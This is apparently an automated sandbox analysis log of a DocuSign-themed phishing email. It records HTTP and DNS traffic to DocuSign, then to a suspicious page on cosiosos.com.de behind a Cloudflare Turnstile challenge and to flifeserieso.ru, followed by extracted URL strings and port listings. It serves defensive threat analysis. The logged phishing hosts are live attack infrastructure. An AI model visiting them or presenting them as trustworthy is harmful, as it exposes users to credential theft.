3V0IHRvIEV4cGlyZSBDb3VudCI6IDAsIlRvcCBGaW5pc2ggSGlkZGVuIjogZmFsc2UsIlBvd2VyRm9ybSI6IGZhbHNlLCJBL0IgVGVzdHMiOiAiaWZyYW1lbGVzczogbW9iaWxlIiwiUG93ZXJmb3JtIFNlbmRlciI6IGZhbHNlLCJQbGF0Zm9ybSI6ICJXZWIgQXBwIiwiRFNfQSI6ICJjZDZjODQxOC1iN2M4LTRlNDEtYjcwMC0xZDc4ZTIyYjM1OTAiLCJ0b2tlbiI6ICIzMDRjY2JkZTI0ZDNiMTVmZmUyZDVkZTMwYzEwZGFiMiJ9fQ%3D%3D&ip=1&_=1730223972817 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/5
Source: global traffic HTTP traffic detected: GET /7i2ko/ HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cosiosos.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cosiosos.com.de/7i2ko/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=64bes3fr1ldegf61evvb22jcl6
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8da4fc5b09f32845&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8da4fc5b09f32845&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1791242059:1730220306:hIeyHqvqAccxbbm_d8DrvjbO0QBodfJlv7y3N_edJQw/8da4fc5b09f32845/lvhtOsKNcCfcfrt0ku2v17ixFLNSgZzFX4Vo47Kh81E-1730223994-1.1.1.1-M_x_gxlO74O9ZlqtQnFTaE.kRURIq0V2sN_HzuC_s_HLi.8Bl2E57.DtlSzwL1gQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8da4fc5b09f32845/1730223996758/1e184772ca6413f778890ebf4ae4a78ff3b0fbad3e6bc6e49bef09eb3011d191/B-gsnUcxkDLo1qD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8da4fc5b09f32845/1730223996761/-6kEvfHpi1C4zu8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/910uj/0x4AAAAAAAymLki0nrxyy8m1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8da4fc5b09f32845/1730223996761/-6kEvfHpi1C4zu8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1791242059:1730220306:hIeyHqvqAccxbbm_d8DrvjbO0QBodfJlv7y3N_edJQw/8da4fc5b09f32845/lvhtOsKNcCfcfrt0ku2v17ixFLNSgZzFX4Vo47Kh81E-1730223994-1.1.1.1-M_x_gxlO74O9ZlqtQnFTaE.kRURIq0V2sN_HzuC_s_HLi.8Bl2E57.DtlSzwL1gQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1791242059:1730220306:hIeyHqvqAccxbbm_d8DrvjbO0QBodfJlv7y3N_edJQw/8da4fc5b09f32845/lvhtOsKNcCfcfrt0ku2v17ixFLNSgZzFX4Vo47Kh81E-1730223994-1.1.1.1-M_x_gxlO74O9ZlqtQnFTaE.kRURIq0V2sN_HzuC_s_HLi.8Bl2E57.DtlSzwL1gQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://cosiosos.com.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET // HTTP/1.1Host: flifeserieso.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic DNS traffic detected: DNS query: eu.docusign.net
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: docucdn-a.akamaihd.net
Source: global traffic DNS traffic detected: DNS query: a.docusign.com
Source: global traffic DNS traffic detected: DNS query: api.mixpanel.com
Source: global traffic DNS traffic detected: DNS query: cdn.optimizely.com
Source: global traffic DNS traffic detected: DNS query: cosiosos.com.de
Source: global traffic DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: flifeserieso.ru
Source: global traffic DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: unknown HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 17:46:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, max-age=0pragma: no-cachevary: Accept-EncodingCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78PcKPPc%2BblG5PoT1jZcMGvy0TBphHg6dRAaBqMRmtpWSoW8b8ghN%2FZXDLM9HZRqdHN2eldibX4W6tTXEPjuHGieGOcBTyAtlal30hZjAgvDhV%2BQtpv8anVv0yCaeZ5ED1Y%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8da4fc3a9e704788-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1924&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1216&delivery_rate=1489711&cwnd=251&unsent_bytes=0&cid=de871257fc9193b9&ts=2352&x=0"
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 17:46:38 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: AbMt6Kny/1HNwuaZLbFnIbjRhQEj3sWYgfQ=$nFp+kqhPQCh45ZhBcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8da4fc782f0c6b9a-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 17:46:42 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: EMHG/oIhnhRU+h+CKspl7ftxrgKgk0Y3AWw=$IMgQrsyaBi4H8gaPServer: cloudflareCF-RAY: 8da4fc8e7e882cb4-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 17:46:52 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: TDheRPH+wySt8jVtQtLmLhVtQ/QvhojZano=$mtPhcHAYQjPNtYBTServer: cloudflareCF-RAY: 8da4fccd999c6c74-DFWalt-svc: h3=":443"; ma=86400
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: http://dbj.org/dbj/?p=286
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: http://dean.edwards.name/weblog/2005/10/add-event/
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: http://documentcloud.github.com/underscore/
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: http://hacks.mozilla.org/2009/07/cross-site-xmlhttprequest-with-cors/
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: http://mixpanel.com/
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: http://www.ecma-international.org/ecma-262/5.1/#sec-12.4
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://aka.ms/LearnAboutSenderIdentification
Source: chromecache_198.11.dr String found in binary or memory: https://apps.docusign.com/cdn/production/1ds/widgets/
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://community.docusign.com/esignature-111?utm_campaign=GBL_US_PRD_AWA_2405_CommunityCTA&utm_medi
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#withCredentials
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://docucdn-a.akamaihd.net/olive/images/2.62.0/global-assets/email-templates/email-logo.png
Source: chromecache_198.11.dr String found in binary or memory: https://docucdn-a.akamaihd.net/production/1ds/widgets/
Source: chromecache_198.11.dr String found in binary or memory: https://eu.docusign.net
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://eu.docusign.net/Signing/EmailStart.aspx?a=9eb1232d-b669-47cc-b565-df3c91f4d5f7&etti=24&acct=
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://eu.docusign.net/member/Images/email/docInvite-white.png
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: https://gist.github.com/1930440
Source: chromecache_188.11.dr, chromecache_169.11.dr String found in binary or memory: https://github.com/douglascrockford/JSON-js/blob/master/json_parse.js
Source: chromecache_207.11.dr, chromecache_162.11.dr String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_207.11.dr, chromecache_162.11.dr String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.30.2/LICENSE
Source: OUTLOOK_16_0_16827_20130-20241029T1344530496-6316.etl.3.dr String found in binary or memory: https://login.windows.localR
Source: OUTLOOK_16_0_16827_20130-20241029T1344530496-6316.etl.3.dr String found in binary or memory: https://login.windows.localnull
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://protect.docusign.net/report-abuse?e=AUtomjpFak9GlbPL0zFFi11QWZPQRVAXy0-T2ps_NbUh_ZoXBfZPath_
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://support.docusign.com/
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://support.docusign.com/en/articles/How-do-I-manage-my-email-notifications
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://support.docusign.com/en/guides/Declining-to-sign-DocuSign-Signer-Guide
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://support.docusign.com/s/articles/How-do-I-sign-a-DocuSign-document-Basic-Signing?language=en_
Source: chromecache_198.11.dr String found in binary or memory: https://wdk-agent-2.docusigntest.com/#Signing/Controllers/MonitoringController.cs
Source: ~WRS{318981B6-151B-4DCC-A0C6-FBB8743FF0B3}.tmp.3.dr String found in binary or memory: https://www.docusign.com/features-and-benefits/mobile?utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificat
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49896 -> 443
